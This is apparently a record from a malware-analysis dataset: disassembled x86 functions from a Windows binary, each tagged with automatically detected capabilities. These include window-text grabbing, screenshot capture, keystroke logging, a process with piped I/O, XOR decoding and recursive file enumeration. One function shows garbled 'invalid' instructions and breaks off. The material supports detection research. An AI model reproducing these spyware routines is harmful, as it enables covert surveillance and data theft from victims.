joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412134
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 8], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x4122cf
push dword fs:[eax]
mov dword fs:[eax], esp
and bl, bl
jne 0x4121f2
xor eax, eax
mov dword [ebp - 4], eax
push 0
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_GetTopWindow
push eax
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
je 0x4122ae
push 0xff
lea eax, [ebp - 0x107]
push eax
push esi
call sub.user32.dll_GetClassNameA
push 0xff
lea eax, [ebp - 0x206]
push eax
push esi
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 8]
lea edx, [ebp - 0x107]
mov ecx, 0xff
call fcn.00404100
mov eax, dword [ebp - 8]
mov edx, 0x4122e8
call fcn.00404278
jne 0x4121df
push ebp
mov edx, esi
mov eax, ebx
call fcn.00411e1c
pop ecx
cmp dword [ebp - 4], 0
jne 0x4122ae
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
and esi, esi
jne 0x412184
jmp 0x4122ae
cmp bl, 1
jne 0x4122ae
xor eax, eax
mov dword [ebp - 4], eax
push 0
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_GetTopWindow
push eax
call sub.user32.dll_GetWindow
mov esi, eax
and esi, esi
je 0x4122ae
push 0xff
lea eax, [ebp - 0x107]
push eax
push esi
call sub.user32.dll_GetClassNameA
push 0xff
lea eax, [ebp - 0x206]
push eax
push esi
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 8]
lea edx, [ebp - 0x107]
mov ecx, 0xff
call fcn.00404100
mov eax, dword [ebp - 8]
mov edx, 0x412300
call fcn.00404278
jne 0x41229c
lea eax, [ebp - 0x20c]
lea edx, [ebp - 0x206]
mov ecx, 0xff
call fcn.00404100
mov eax, dword [ebp - 0x20c]
mov edx, 0x412310
call fcn.00404278
jne 0x41229c
push ebp
mov edx, esi
mov eax, ebx
call fcn.00411e1c
pop ecx
cmp dword [ebp - 4], 0
jne 0x4122ae
push 2
push esi
call sub.user32.dll_GetWindow
mov esi, eax
test esi, esi
jne 0x41221d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4122d6
lea eax, [ebp - 0x20c]
call fcn.00403ee8
lea eax, [ebp - 8]
call fcn.00403ee8
ret
Function at 0x412810
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41294b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
mov edx, 0x105
call fcn.004054b8
cmp ebx, 4
ja case.default.0x41284e
jmp dword [ebx*4 + 0x412855]
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
jmp case.default.0x41284e
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
jmp case.default.0x41284e
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov byte [ebp - 0x103], 0
push 0x412958
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_lstrcatA
jmp case.default.0x41284e
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov byte [ebp - 0x103], 0
push 0x412968
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_lstrcatA
jmp case.default.0x41284e
push 0x105
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push 0x41299c
lea eax, [ebp - 0x105]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00404100
mov edx, dword [ebp - 0x10c]
mov eax, esi
mov ecx, 0x4129b4
call fcn.00404178
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412952
lea eax, [ebp - 0x10c]
call fcn.00403ee8
ret

Function at 0x413054
Capabilities:
Delete file

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, eax
mov esi, dword [ebx + 0x34]
cmp esi, 0xffffffff
jne 0x4130ce
mov eax, dword [0x420da0]
mov eax, dword [eax]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x4130c0
inc esi
xor edi, edi
mov eax, dword [0x420da0]
mov eax, dword [eax]
mov edx, edi
call fcn.004080c0
mov dword [esp], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x108]
push eax
call sub.kernel32.dll_FreeLibrary_1
cmp byte [ebx + 0x38], 0
je 0x4130af
push 0x64
call sub.kernel32.dll_Sleep
mov eax, dword [esp]
add eax, 0x10c
push eax
call sub.kernel32.dll_DeleteFileA
mov edx, 0x214
mov eax, dword [esp]
call fcn.004028c4
inc edi
dec esi
jne 0x413074
mov eax, dword [0x420da0]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 8]
jmp 0x413125
mov eax, dword [0x420da0]
mov eax, dword [eax]
mov edx, esi
call fcn.004080c0
mov dword [esp], eax
mov eax, dword [esp]
mov eax, dword [eax + 0x108]
push eax
call sub.kernel32.dll_FreeLibrary_1
cmp byte [ebx + 0x38], 0
je 0x413109
push 0x64
call sub.kernel32.dll_Sleep
mov eax, dword [esp]
add eax, 0x10c
push eax
call sub.kernel32.dll_DeleteFileA
mov edx, 0x214
mov eax, dword [esp]
call fcn.004028c4
mov eax, dword [0x420da0]
mov eax, dword [eax]
mov edx, dword [ebx + 0x34]
call fcn.00408058
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x413348
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
push ebx
xor edx, edx
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4134f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebx + 0x34]
push eax
lea eax, [ebx + 0x30]
push eax
call sub.kernel32.dll_CreatePipe
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebx + 0x3c]
push eax
lea eax, [ebx + 0x38]
push eax
call sub.kernel32.dll_CreatePipe
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x60]
xor ecx, ecx
mov edx, 0x44
call fcn.00402fd0
mov dword [ebp - 0x60], 0x44
mov eax, dword [ebx + 0x34]
mov dword [ebp - 0x24], eax
mov edx, dword [ebx + 0x38]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], 0x101
mov word [ebp - 0x30], 0
lea edx, [ebp - 4]
mov eax, 1
call fcn.00412810
lea eax, [ebp - 8]
mov ecx, 0x41350c
mov edx, dword [ebp - 4]
call fcn.00404178
mov eax, dword [0x420d10]
mov eax, dword [eax]
call fcn.0040b50c
lea edx, [ebp - 0x64]
call fcn.00412810
push dword [ebp - 0x64]
mov eax, dword [0x420d48]
push dword [eax]
push 0x41351c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004041ec
mov eax, dword [0x420d10]
mov eax, dword [eax]
call fcn.0040b50c
lea edx, [ebp - 0x68]
call fcn.00412810
push dword [ebp - 0x68]
mov eax, dword [0x420d48]
push dword [eax]
push 0x41352c
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004041ec
mov eax, dword [ebp - 0x10]
call fcn.0040b664
test al, al
je 0x413482
mov eax, dword [ebp - 0x10]
call fcn.0040b518
push 0
mov eax, dword [ebp - 0xc]
call fcn.0040432c
push eax
mov eax, dword [ebp - 8]
call fcn.0040432c
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0040b530
lea eax, [ebx + 0x40]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0x20
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
call fcn.0040432c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4134fd
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.00403f0c
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403f0c
ret
Function at 0x413534
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov esi, edx
lea edi, [ebp - 8]
xor eax, eax
push ebp
push 0x4135e3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00403ee8
push 0
push esi
call sub.kernel32.dll_GetFileSize_1
test eax, eax
je 0x4135cd
mov eax, 0x961
call fcn.0040b49c
mov dword [ebp - 4], eax
xor eax, eax
mov dword [edi], eax
push 0
push edi
push 0x960
mov eax, dword [ebp - 4]
push eax
push esi
call sub.kernel32.dll_ReadFile_1
cmp dword [edi], 0
jbe 0x4135bd
mov eax, dword [ebp - 4]
mov edx, dword [edi]
mov byte [eax + edx], 0
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.004040c4
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00404134
cmp dword [edi], 0x960
jae 0x413577
mov eax, dword [ebp - 4]
call fcn.004028c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4135ea
lea eax, [ebp - 0xc]
call fcn.00403ee8
ret

Function at 0x4135f4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], ecx
mov esi, edx
mov eax, dword [ebp - 4]
call fcn.0040431c
xor eax, eax
push ebp
push 0x413653
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040412c
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040432c
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41365a
lea eax, [ebp - 4]
call fcn.00403ee8
ret

Function at 0x413c00
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
push esp
push 0x104
call sub.kernel32.dll_GetTempPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.00404100
mov eax, dword [ebx]
call fcn.0040412c
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x413c3e
mov eax, ebx
mov edx, 0x413c50
call fcn.00404134
add esp, 0x108
pop ebx
ret

Function at 0x4152cc
Capabilities:
Capture screenshot

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, eax
mov ebp, dword [ebx + 0x50]
dec ebp
test ebp, ebp
jl 0x415337
inc ebp
xor esi, esi
push 0xcc0020
mov eax, esi
add eax, eax
mov edx, dword [ebx + 0x4c]
mov eax, dword [edx + eax*8 + 4]
push eax
mov eax, esi
add eax, eax
mov edx, dword [ebx + 0x4c]
mov eax, dword [edx + eax*8]
push eax
mov eax, dword [ebx + 0x7c]
push eax
mov edi, esi
add edi, edi
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8 + 0xc]
push eax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8 + 8]
push eax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8 + 4]
push eax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8]
push eax
mov eax, dword [ebx + 0x74]
call fcn.0040ac00
call fcn.00409d38
push eax
call sub.gdi32.dll_BitBlt
inc esi
dec ebp
jne 0x4152dd
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4155e8
Capabilities:
Capture screenshot
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4157f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, ebx
call fcn.004153a4
test al, al
je 0x41562e
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00415444
mov byte [ebp - 5], 1
jmp 0x4157d7
lea eax, [ebp - 0x18]
call fcn.004148c4
mov edx, dword [ebp - 0x18]
mov eax, dword [ebx + 0x64]
call fcn.00404278
je 0x41566d
lea eax, [ebp - 0x1c]
call fcn.004148c4
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x64]
call fcn.00403f3c
mov eax, dword [ebx + 0x64]
mov edx, 0x41580c
call fcn.00404278
je 0x41566d
mov eax, dword [ebx + 0x64]
call fcn.00414834
cmp byte [ebx + 0x59], 0
je 0x4156a2
push 4
mov ecx, 0x41494c
mov dl, 1
mov eax, dword [0x406ff4]
call fcn.00407084
mov edx, dword [0x420d84]
mov dword [edx], eax
mov eax, dword [0x420d84]
mov eax, dword [eax]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov byte [ebx + 0x59], 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00406280
mov byte [ebp - 0xd], 0x4e
lea edx, [ebp - 0xd]
mov ecx, 1
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 0xc]
cmp byte [ebx + 0x58], 0
je 0x4156d1
lea eax, [ebx + 0x5a]
push eax
call sub.user32.dll_GetCursorPos
lea edx, [ebx + 0x5a]
mov ecx, 8
mov eax, dword [ebp - 4]
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, ebx
call fcn.0041533c
mov eax, dword [ebx + 0x50]
dec eax
test eax, eax
jl 0x4157d7
inc eax
mov dword [ebp - 0x14], eax
xor esi, esi
mov edi, esi
add edi, edi
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + edi*8 + 8]
mov eax, dword [ebx + 0x38]
call fcn.0040b190
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + edi*8 + 0xc]
mov eax, dword [ebx + 0x38]
call fcn.0040b018
push 0xcc0020
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8 + 4]
push eax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8]
push eax
mov eax, dword [ebx + 0x74]
call fcn.0040ac00
call fcn.00409d38
push eax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8 + 0xc]
push eax
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + edi*8 + 8]
push eax
push 0
push 0
mov eax, dword [ebx + 0x38]
call fcn.0040ac00
call fcn.00409d38
push eax
call sub.gdi32.dll_BitBlt
mov eax, dword [ebx + 0x34]
call fcn.00406854
mov edx, dword [ebx + 0x34]
mov eax, dword [ebx + 0x38]
call fcn.0040b384
mov eax, dword [ebx + 0x4c]
lea edx, [eax + edi*8]
mov ecx, 4
mov eax, dword [ebp - 4]
call fcn.004063d8
mov eax, dword [ebx + 0x4c]
lea edx, [eax + edi*8 + 4]
mov ecx, 4
mov eax, dword [ebp - 4]
call fcn.004063d8
mov eax, dword [ebx + 0x34]
call fcn.00406230
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0xc]
mov ecx, 4
mov eax, dword [ebp - 4]
call fcn.004063d8
push 0
push 0
mov edx, dword [ebx + 0x34]
mov eax, dword [ebp - 4]
call fcn.004063f8
mov byte [ebp - 5], 1
inc esi
dec dword [ebp - 0x14]
jne 0x4156fa
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4157f9
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00403f0c
ret
Function at 0x416ac0
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.004054b8
ret

Function at 0x417230
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040431c
xor eax, eax
push ebp
push 0x4172a7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040412c
mov ebx, eax
test ebx, ebx
jle 0x41728c
mov edi, 1
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
xor dl, 0x1f
call fcn.004040b4
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.00404134
inc edi
dec ebx
jne 0x41726c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4172ae
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403f0c
ret
Function at 0x417604
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040431c
xor eax, eax
push ebp
push 0x41780a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x420d10]
cmp dword [eax], 0
jne 0x4176ba
xor esi, esi
lea eax, [ebp - 0xc]
call fcn.00417200
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0xc]
call fcn.0040432c
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
mov eax, dword [0x420d10]
mov edx, 0xa
call fcn.0040445c
add esi, 0xffffffec
push 2
push 0
push esi
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0x10]
push eax
push 0xa
mov eax, dword [0x420d10]
mov eax, dword [eax]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
lea edx, [ebp - 0x14]
mov eax, dword [0x420d10]
mov eax, dword [eax]
call fcn.00417230
mov edx, dword [ebp - 0x14]
mov eax, dword [0x420d10]
call fcn.00403f3c
push ebx
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x420d48]
cmp dword [eax], 0
jne 0x417749
xor esi, esi
lea eax, [ebp - 0xc]
call fcn.00417200
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0xc]
call fcn.0040432c
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
mov eax, dword [0x420d48]
mov edx, 0xa
call fcn.0040445c
add esi, 0xffffffce
push 2
push 0
push esi
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0x10]
push eax
push 0xa
mov eax, dword [0x420d48]
mov eax, dword [eax]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
lea edx, [ebp - 0x18]
mov eax, dword [0x420d48]
mov eax, dword [eax]
call fcn.00417230
mov edx, dword [ebp - 0x18]
mov eax, dword [0x420d48]
call fcn.00403f3c
push ebx
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [0x420d10]
mov eax, dword [eax]
call fcn.004172e0
lea edx, [ebp - 0x1c]
call fcn.00412810
push dword [ebp - 0x1c]
mov eax, dword [0x420d48]
push dword [eax]
push 0x417820
lea eax, [ebp - 8]
mov edx, 3
call fcn.004041ec
mov eax, dword [ebp - 8]
call fcn.00415d18
and al, al
je 0x41779a
push 0x21
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x4057a8]
call fcn.004066d0
mov ebx, eax
jmp 0x4177b0
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x4057a8]
call fcn.004066d0
mov ebx, eax
mov eax, ebx
call fcn.00406230
push edx
push eax
mov eax, ebx
call fcn.0040621c
mov eax, dword [ebp - 4]
call fcn.0040412c
push eax
lea eax, [ebp - 4]
call fcn.00404384
mov edx, eax
mov eax, ebx
pop ecx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, ebx
call fcn.004034a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417811
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403f0c
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403f0c
ret
Function at 0x417828
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Log keystrokes via input method manager

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x49
push 0
push 0
dec ecx
jne 0x417830
push ecx
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x417cf3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.004171dc
mov ebx, eax
lea eax, [ebp - 0x21c]
mov edx, 0xff
call fcn.004054b8
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.004054b8
cmp esi, 0x10f
jne 0x417ab1
push ebx
call sub.imm32.dll_ImmGetContext
test byte [ebp + 0x15], 8
je 0x417aaa
push 0x105
lea edx, [ebp - 0x11d]
push edx
push 0x800
push eax
call sub.imm32.dll_ImmGetCompositionStringA
mov edi, eax
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x420d44]
sub eax, dword [edx]
cmp eax, 0x32
jb 0x417a9d
mov byte [ebp + edi - 0x11d], 0
push 0xff
lea eax, [ebp - 0x21c]
push eax
push ebx
call sub.user32.dll_GetWindowTextA
lea edx, [ebp - 0x21c]
mov eax, dword [0x420d7c]
call fcn.00415cf4
test eax, eax
je 0x417a7c
lea edx, [ebp - 0x21c]
mov eax, dword [0x420d7c]
call fcn.00415ccc
lea eax, [ebp - 0x22c]
push eax
call sub.kernel32.dll_GetLocalTime
lea edx, [ebp - 4]
movzx eax, word [ebp - 0x22c]
call fcn.004172b8
mov eax, dword [ebp - 4]
call fcn.0040412c
dec eax
jne 0x417939
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x417d0c
call fcn.00404178
lea edx, [ebp - 8]
movzx eax, word [ebp - 0x22a]
call fcn.004172b8
mov eax, dword [ebp - 8]
call fcn.0040412c
dec eax
jne 0x417963
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, 0x417d0c
call fcn.00404178
lea edx, [ebp - 0xc]
movzx eax, word [ebp - 0x226]
call fcn.004172b8
mov eax, dword [ebp - 0xc]
call fcn.0040412c
dec eax
jne 0x41798d
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, 0x417d0c
call fcn.00404178
lea edx, [ebp - 0x10]
movzx eax, word [ebp - 0x224]
call fcn.004172b8
mov eax, dword [ebp - 0x10]
call fcn.0040412c
dec eax
jne 0x4179b7
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x417d0c
call fcn.00404178
lea edx, [ebp - 0x14]
movzx eax, word [ebp - 0x222]
call fcn.004172b8
mov eax, dword [ebp - 0x14]
call fcn.0040412c
dec eax
jne 0x4179e1
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov edx, 0x417d0c
jge 0x417a1c
add al, ch
xchg edi, eax
invalid
invalid
invalid
lea edx, [ebp - 0x18]
movzx eax, word [ebp - 0x220]
call fcn.004172b8
mov eax, dword [ebp - 0x18]
call fcn.0040412c
dec eax
jne 0x417a0b
lea eax, [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov edx, 0x417d0c
call fcn.00404178
push 0x417d18
push dword [ebp - 4]
Function at 0x41810c
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x14c], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040431c
mov eax, dword [ebp - 8]
call fcn.0040431c
lea edi, [ebp - 0x148]
xor eax, eax
push ebp
push 0x41825d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404178
mov edx, dword [ebp - 0x14c]
mov ecx, esi
mov eax, dword [ebp - 4]
call fcn.00417e2c
push edi
lea eax, [ebp - 0x150]
mov ecx, 0x418274
mov edx, dword [ebp - 4]
call fcn.00404178
mov eax, dword [ebp - 0x150]
call fcn.0040432c
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x418232
jmp 0x41821b
push 0x418278
lea eax, [edi + 0x2c]
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
je 0x41821b
push 0x41827c
lea eax, [edi + 0x2c]
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
je 0x41821b
test byte [edi], 0x10
je 0x41821b
push dword [ebp - 4]
lea eax, [ebp - 0x158]
lea edx, [edi + 0x2c]
mov ecx, 0x104
call fcn.00404100
push dword [ebp - 0x158]
push 0x418288
lea eax, [ebp - 0x154]
mov edx, 3
call fcn.004041ec
mov eax, dword [ebp - 0x154]
mov ecx, esi
mov edx, dword [ebp - 8]
call fcn.0041810c
push edi
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
je 0x4181b1
push ebx
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418264
lea eax, [ebp - 0x158]
mov edx, 4
call fcn.00403f0c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403f0c
ret
Function at 0x418358
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040431c
xor eax, eax
push ebp
push 0x4184c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00415d18
test al, al
jne 0x418392
mov byte [ebp - 5], 0
jmp 0x4184ad
xor eax, eax
push ebp
push 0x4184a6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x418482
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x4057a8]
call fcn.004066d0
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
call fcn.00406230
cmp edx, 0
jne 0x4183d8
cmp eax, 0x1000
jae 0x4183f0
jmp 0x4183da
jge 0x4183f0
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.0040390c
jmp 0x4184ad
lea edx, [ebp - 0x4c]
mov ecx, 0x40
mov eax, dword [ebp - 0xc]
call fcn.004063b8
cmp word [ebp - 0x4c], 0x5a4d
je 0x41841e
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.0040390c
jmp 0x4184ad
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x10]
lea edx, [ebp - 0x144]
mov ecx, 0xf8
mov eax, dword [ebp - 0xc]
call fcn.004063b8
cmp dword [ebp - 0x144], 0x4550
je 0x41845d
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.0040390c
jmp 0x4184ad
mov ax, word [ebp - 0x12e]
and ax, 0x2000
cmp ax, 0x2000
jne 0x418474
mov byte [ebp - 5], 2
jmp 0x418478
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x418490
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4184ad
mov eax, dword [ebp - 0xc]
call fcn.004034a4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4184ca
lea eax, [ebp - 4]
call fcn.00403ee8
ret